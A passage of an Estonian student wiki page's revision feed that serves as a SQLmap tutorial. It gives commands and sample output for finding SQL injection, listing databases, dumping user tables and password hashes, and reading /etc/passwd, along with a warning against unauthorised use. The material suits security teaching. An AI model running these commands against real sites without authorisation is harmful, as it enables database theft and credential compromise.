&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --file-read=/etc/passwd --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kokkuvõte==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap on väärtuslik töörist, selleks et mugavalt testida oma süsteemi SQL injektsioonide suhtes ja leida üles olemasolevad nõrkused. Teda on võimalik seadistada vastavalt enda vajadustele ja toetab paljusid andmebaasisüsteeme. Lisaks on ta kasutatav nii Windowsi kui Linux/Unix all. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kasutatud kirjandus==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
[http://www.binarytides.com/sqlmap-hacking-tutorial/ Binarytides]&lt;br /&gt;
&lt;br /&gt;
[http://www.binarytides.com/hack-remote-database-sqlmap/ Binarytides]&lt;br /&gt;
&lt;br /&gt;
[https://hackertarget.com/sqlmap-tutorial/ Hackertarget]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sqlmapproject/sqlmap/wiki/Usage SQLmap Usage]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sqlmapproject/sqlmap/wiki/Features SQLmap Features]&lt;br /&gt;
&lt;br /&gt;
[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/ Darkmoreops]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88536</id>
		<title>Sqlmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88536"/>
		<updated>2015-05-14T15:12:06Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= SQLmap =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
Autor: Elina Prudnikova &lt;br /&gt;
&lt;br /&gt;
Rühm: A21&lt;br /&gt;
&lt;br /&gt;
Mai 2015&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
== Lühikirjeldus ==&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
Toetab mitmesuguseid andmebaasisüsteeme:  MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB ja HSQLDB. [https://github.com/sqlmapproject/sqlmap/wiki/Features]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; NB! SQLmap&#039;i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Paigaldamine==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [https://github.com/sqlmapproject/sqlmap/wiki/Dependencies]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Linux/Unix====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap&#039;i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon. &lt;br /&gt;
&lt;br /&gt;
1. Paigalda Python (Debian, Ubuntu).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-get install python2.6&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Kontrolli versiooni.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python --version&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Seejärel alla laadida SQLmap.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget from http://sqlmap.sourceforge.net/#download&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Pakkida see lahti ja käivitada.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;tar zxvf sqlmap-0.9.tar.gz&lt;br /&gt;
&lt;br /&gt;
cd sqlmap&lt;br /&gt;
&lt;br /&gt;
python sqlmap.py&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. Edukal paigaldamisel tagastab SQLmap:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sqlmap/0.9 - automatic SQL injection and database takeover tool&lt;br /&gt;
    http://sqlmap.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
Usage: python sqlmap.py [options]&lt;br /&gt;
&lt;br /&gt;
sqlmap.py: error: missing a mandatory parameter (&#039;-d&#039;, &#039;-u&#039;, &#039;-l&#039;, &#039;-r&#039;, &#039;-g&#039;, &#039;-c&#039;, &#039;--wizard&#039; or &#039;--update&#039;), -h for help&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://hackertarget.com/sqlmap-tutorial/ Abi paigaldamisel Linux/Unix all]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Windows====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: [https://www.python.org/ Python]&lt;br /&gt;
&lt;br /&gt;
2. Alla laadida zip fail SQLmap&#039;i kodulehelt, pakkida see lahti. [https://sqlmap.org SQLmap] Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;C:\sqlmapproject-sqlmap-2defc30&amp;gt;python ./sqlmap.py&lt;br /&gt;
Usage: ./sqlmap.py [options]&lt;br /&gt;
&lt;br /&gt;
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza&lt;br /&gt;
rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv&lt;br /&gt;
anced help&lt;br /&gt;
&lt;br /&gt;
Press Enter to continue...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Süntaks==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Ülevaade SQLmap&#039;i [https://github.com/sqlmapproject/sqlmap/wiki/Usage süntaksist]. Käsu üldkuju:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py [options]&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mõned võtmed:&lt;br /&gt;
&lt;br /&gt;
1. &#039;&#039;&#039;Sihtmärk&#039;&#039;&#039;, kellega ühendutakse:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-d DIRECT           Otseühendus andmebaasiga&lt;br /&gt;
-u URL, --url=URL   Sihtmärgi URL (näiteks &amp;quot;www.target.com/vuln.php?id=1&amp;quot;)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. &#039;&#039;&#039;Päring&#039;&#039;&#039;, kuidas sihtmärgiga ühendutakse:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
--data=DATA         Andmestring saadetakse läbi POST&#039;i&lt;br /&gt;
--host=HOST         HTTP Host&#039;i päis&lt;br /&gt;
--proxy=PROXY       Kasutada HTTP proxy&#039;t et ühenduda URL&#039;iga&lt;br /&gt;
--delay=DELAY       Ooteaeg sekundites HTTP päringute vahel&lt;br /&gt;
--force-ssl         Kasuta SSL/HTTPS&#039;i&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. &#039;&#039;&#039;Optimiseerimine&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;--threads=THREADS   Samaaegsete HTTP(s) päringute arv (vaikimisi 1)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. &#039;&#039;&#039;Andmebaas&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-a, --all           Tagasta kõik&lt;br /&gt;
--current-user      Tagasta hetkel kasutuses oleva kasutaja&lt;br /&gt;
--users             Loetle kasutajad&lt;br /&gt;
--passwords         Loetle kasutajate parooliräsid&lt;br /&gt;
--privileges        Loetle kasutajate privileegid&lt;br /&gt;
--roles             Loetle kasutajate rollid&lt;br /&gt;
--dbs               Loetle andmebaasid&lt;br /&gt;
--tables            Loetle andmebaasi tabelid&lt;br /&gt;
--columns           Loetle andmebaasi tabeli veerud&lt;br /&gt;
--schema            Loetle andmebaasi skeem&lt;br /&gt;
--dump              Väljasta kogu andmebaasi sisu&lt;br /&gt;
--dump-all          Väljasta kõikide andmebaaside sisu&lt;br /&gt;
--search            Otsi veergu, tabelit ja/või andmebaasi nime&lt;br /&gt;
-D DB               Mis andmebaasist loetleda&lt;br /&gt;
-T TBL              Mis andmebaasi tabelist loetleda&lt;br /&gt;
-C COL              Mis tabeli veerust loetleda&lt;br /&gt;
-U USER             Mis kasutaja kohta loetleda&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. &#039;&#039;&#039;Failid&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
--file-read=RFILE   Loe fail süsteemist&lt;br /&gt;
--file-write=WFILE  Kirjuta fail süsteemi&lt;br /&gt;
--file-dest=DFILE   Absoluutne failitee kuhu kirjutada&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks on SQLmap&#039;il veel väga palju muid võtmeid.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kasutamine==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Kuidas kontrollida, kas veebisait on nõrk SQL injektsiooni suhtes?[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]&lt;br /&gt;
&lt;br /&gt;
Olgu lehe aadress:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisame URL&#039;i lõpu märgi &#039;. Nüüd on lehe URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15&#039;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui leht tagastab SQL veateate, on see leht nõrk SQL injektsiooni suhtes.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Andmebaasid ja tabelid====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Oletame, et tahame SQLmap&#039;iga testida nõrka veebilehte. Veebilehega &#039;&#039;&#039;ühendumiseks&#039;&#039;&#039; kasutame võtit &#039;&#039;&#039;-u&#039;&#039;&#039; (URL).[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, milles näha opsüsteem, veebiserveri ja andmebaasi tüüp koos versiooninumbriga:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[*] starting at 12:10:33&lt;br /&gt;
&lt;br /&gt;
[12:10:33] [INFO] resuming back-end DBMS &#039;mysql&#039; &lt;br /&gt;
[12:10:34] [INFO] testing connection to the target url&lt;br /&gt;
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:&lt;br /&gt;
---&lt;br /&gt;
Place: GET&lt;br /&gt;
Parameter: id&lt;br /&gt;
    Type: error-based&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE or HAVING clause&lt;br /&gt;
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&lt;br /&gt;
---&lt;br /&gt;
[12:10:37] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Kuna antud veebiserver on seega rünnatav, saab näiteks tagastada &#039;&#039;&#039;andmebaaside nimekirja&#039;&#039;&#039;, kasutades võtit &#039;&#039;&#039;--dbs&#039;&#039;&#039;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.sitemap.com/section.php?id=51&amp;quot; --dbs&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, mis näitab andmebaaside nimekirja:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[*] starting at 12:12:56&lt;br /&gt;
&lt;br /&gt;
[12:12:56] [INFO] resuming back-end DBMS &#039;mysql&#039; &lt;br /&gt;
[12:12:57] [INFO] testing connection to the target url&lt;br /&gt;
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:&lt;br /&gt;
---&lt;br /&gt;
Place: GET&lt;br /&gt;
Parameter: id&lt;br /&gt;
    Type: error-based&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE or HAVING clause&lt;br /&gt;
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&lt;br /&gt;
---&lt;br /&gt;
[12:13:00] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[12:13:00] [INFO] fetching database names&lt;br /&gt;
[12:13:00] [INFO] the SQL query used returns 2 entries&lt;br /&gt;
[12:13:00] [INFO] resumed: information_schema&lt;br /&gt;
[12:13:00] [INFO] resumed: safecosmetics&lt;br /&gt;
available databases [2]:&lt;br /&gt;
[*] information_schema&lt;br /&gt;
[*] safecosmetics&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Leiame &#039;&#039;&#039;kõik tabelid&#039;&#039;&#039;, mis asuvad andmebaasis &amp;quot;safecosmetics&amp;quot;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --tables -D safecosmetics&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[11:55:18] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[11:55:18] [INFO] fetching tables for database: &#039;safecosmetics&#039;&lt;br /&gt;
[11:55:19] [INFO] heuristics detected web page charset &#039;ascii&#039;&lt;br /&gt;
[11:55:19] [INFO] the SQL query used returns 216 entries&lt;br /&gt;
[11:55:20] [INFO] retrieved: acl_acl&lt;br /&gt;
[11:55:21] [INFO] retrieved: acl_acl_sections                                                                                &lt;br /&gt;
........... more tables&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Leiame &#039;&#039;&#039;veerud tabelis&#039;&#039;&#039; &amp;quot;users&amp;quot; andmebaasis &amp;quot;safecosmetics&amp;quot;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --columns -D safecosmetics -T users&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/] &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[12:17:39] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[12:17:39] [INFO] fetching columns for table &#039;users&#039; in database &#039;safecosmetics&#039;&lt;br /&gt;
[12:17:41] [INFO] heuristics detected web page charset &#039;ascii&#039;&lt;br /&gt;
[12:17:41] [INFO] the SQL query used returns 8 entries&lt;br /&gt;
[12:17:42] [INFO] retrieved: id&lt;br /&gt;
[12:17:43] [INFO] retrieved: int(11)                                                                                         &lt;br /&gt;
[12:17:45] [INFO] retrieved: name                                                                                            &lt;br /&gt;
[12:17:46] [INFO] retrieved: text                                                                                            &lt;br /&gt;
[12:17:47] [INFO] retrieved: password                                                                                        &lt;br /&gt;
[12:17:48] [INFO] retrieved: text                                                                                            &lt;br /&gt;
&lt;br /&gt;
.......&lt;br /&gt;
&lt;br /&gt;
[12:17:59] [INFO] retrieved: hash&lt;br /&gt;
[12:18:01] [INFO] retrieved: varchar(128)&lt;br /&gt;
Database: safecosmetics&lt;br /&gt;
Table: users&lt;br /&gt;
[8 columns]&lt;br /&gt;
+-------------------+--------------+&lt;br /&gt;
| Column            | Type         |&lt;br /&gt;
+-------------------+--------------+&lt;br /&gt;
| email             | text         |&lt;br /&gt;
| hash              | varchar(128) |&lt;br /&gt;
| id                | int(11)      |&lt;br /&gt;
| name              | text         |&lt;br /&gt;
| password          | text         |&lt;br /&gt;
| permission        | tinyint(4)   |&lt;br /&gt;
| system_allow_only | text         |&lt;br /&gt;
| system_home       | text         |&lt;br /&gt;
+-------------------+--------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. Leiame eelnevast &#039;&#039;&#039;tabelist andmed&#039;&#039;&#039;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --dump -D safecosmetics -T users&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, mis on sarnane mysqldump käsule:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&lt;br /&gt;
| id | hash               | name      | email     | password | permission | system_home | system_allow_only |&lt;br /&gt;
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&lt;br /&gt;
| 1  | 5DIpzzDHFOwnCvPonu | admin     | &amp;lt;blank&amp;gt;   | &amp;lt;blank&amp;gt;  | 3          | &amp;lt;blank&amp;gt;     | &amp;lt;blank&amp;gt;           |&lt;br /&gt;
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Kasutajad====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Järgnev käsk tagastab infot &#039;&#039;&#039;kasutajate ja rollide&#039;&#039;&#039; kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --users --passwords --privileges --roles --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;..........&lt;br /&gt;
&lt;br /&gt;
database management system users [5]:&lt;br /&gt;
[*] &#039;&#039;@&#039;localhost&#039;&lt;br /&gt;
[*] &#039;&#039;@&#039;localhost.localdomain&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;127.0.0.1&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;localhost&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;localhost.localdomain&#039;&lt;br /&gt;
&lt;br /&gt;
.............&lt;br /&gt;
&lt;br /&gt;
database management system users password hashes:&lt;br /&gt;
[*]  [1]:&lt;br /&gt;
    password hash: NULL&lt;br /&gt;
[*] root [2]:&lt;br /&gt;
    password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19&lt;br /&gt;
    password hash: NULL&lt;br /&gt;
&lt;br /&gt;
........&lt;br /&gt;
&lt;br /&gt;
[*] %root% (administrator) [27]:&lt;br /&gt;
    privilege: ALTER&lt;br /&gt;
    privilege: ALTER ROUTINE&lt;br /&gt;
    privilege: CREATE&lt;br /&gt;
    privilege: CREATE ROUTINE&lt;br /&gt;
    privilege: CREATE TEMPORARY TABLES&lt;br /&gt;
    privilege: CREATE USER&lt;br /&gt;
    privilege: CREATE VIEW&lt;br /&gt;
    privilege: DELETE&lt;br /&gt;
    privilege: DROP&lt;br /&gt;
    privilege: EVENT&lt;br /&gt;
    privilege: EXECUTE&lt;br /&gt;
    privilege: FILE&lt;br /&gt;
    privilege: INDEX&lt;br /&gt;
    privilege: INSERT&lt;br /&gt;
    privilege: LOCK TABLES&lt;br /&gt;
    privilege: PROCESS&lt;br /&gt;
    privilege: REFERENCES&lt;br /&gt;
    privilege: RELOAD&lt;br /&gt;
    privilege: REPLICATION CLIENT&lt;br /&gt;
    privilege: REPLICATION SLAVE&lt;br /&gt;
    privilege: SELECT&lt;br /&gt;
    privilege: SHOW DATABASES&lt;br /&gt;
    privilege: SHOW VIEW&lt;br /&gt;
    privilege: SHUTDOWN&lt;br /&gt;
    privilege: SUPER&lt;br /&gt;
    privilege: TRIGGER&lt;br /&gt;
    privilege: UPDATE&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Leiame info hetkel kasutusel oleva &#039;&#039;&#039;kasutaja, andmebaasi ja hostinime&#039;&#039;&#039; kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --current-user --is-dba --current-db --hostname --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;........&lt;br /&gt;
[11:32:33] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: Linux Red Hat Enterprise 6 (Santiago)&lt;br /&gt;
web application technology: PHP 5.3.3, Apache 2.2.15&lt;br /&gt;
back-end DBMS: MySQL 5.0.11&lt;br /&gt;
[11:32:33] [INFO] fetching current user&lt;br /&gt;
[11:32:33] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:33] [INFO] retrieved: 14&lt;br /&gt;
[11:32:38] [INFO] retrieved: root@localhost             &lt;br /&gt;
current user:    &#039;root@localhost&#039;&lt;br /&gt;
[11:32:38] [INFO] fetching current database&lt;br /&gt;
[11:32:38] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:38] [INFO] retrieved: 5&lt;br /&gt;
[11:32:40] [INFO] resumed: profile_data&lt;br /&gt;
current database:    &#039;profile_data&#039;&lt;br /&gt;
[11:32:40] [INFO] fetching server hostname&lt;br /&gt;
[11:32:40] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:40] [INFO] retrieved: 21&lt;br /&gt;
[11:32:48] [INFO] retrieved: localhost.localdomain             &lt;br /&gt;
hostname:    &#039;localhost.localdomain&#039;&lt;br /&gt;
[11:32:48] [INFO] testing if current user is DBA&lt;br /&gt;
[11:32:48] [INFO] fetching current user&lt;br /&gt;
current user is DBA:    False&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Leiame kasutaja &#039;&#039;&#039;parooliräsi&#039;&#039;&#039;:[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[10:59:15] [INFO] the SQL query used returns 1 entries&lt;br /&gt;
[10:59:17] [INFO] retrieved: 24iYBc17xK0e.&lt;br /&gt;
[10:59:18] [INFO] analyzing table dump for possible password hashes&lt;br /&gt;
Database: sqldummywebsite&lt;br /&gt;
Table: user_info&lt;br /&gt;
[1 entry]&lt;br /&gt;
+---------------+&lt;br /&gt;
| user_password |&lt;br /&gt;
+---------------+&lt;br /&gt;
| 24iYBc17xK0e. |&lt;br /&gt;
+---------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Failid====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. &#039;&#039;&#039;Faili lugemine&#039;&#039;&#039; kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --file-read=/etc/passwd --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kokkuvõte==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap on väärtuslik töörist, selleks et mugavalt testida oma süsteemi SQL injektsioonide suhtes ja leida üles olemasolevad nõrkused. Teda on võimalik seadistada vastavalt enda vajadustele ja toetab paljusid andmebaasisüsteeme. Lisaks on ta kasutatav nii Windowsi kui Linux/Unix all. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kasutatud kirjandus==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
[http://www.binarytides.com/sqlmap-hacking-tutorial/ Binarytides]&lt;br /&gt;
&lt;br /&gt;
[http://www.binarytides.com/hack-remote-database-sqlmap/ Binarytides]&lt;br /&gt;
&lt;br /&gt;
[https://hackertarget.com/sqlmap-tutorial/ Hackertarget]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sqlmapproject/sqlmap/wiki/Usage SQLmap Usage]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sqlmapproject/sqlmap/wiki/Features SQLmap Features]&lt;br /&gt;
&lt;br /&gt;
[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/ Darkmoreops]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88535</id>
		<title>Sqlmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88535"/>
		<updated>2015-05-14T15:06:22Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= SQLmap =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
Autor: Elina Prudnikova &lt;br /&gt;
&lt;br /&gt;
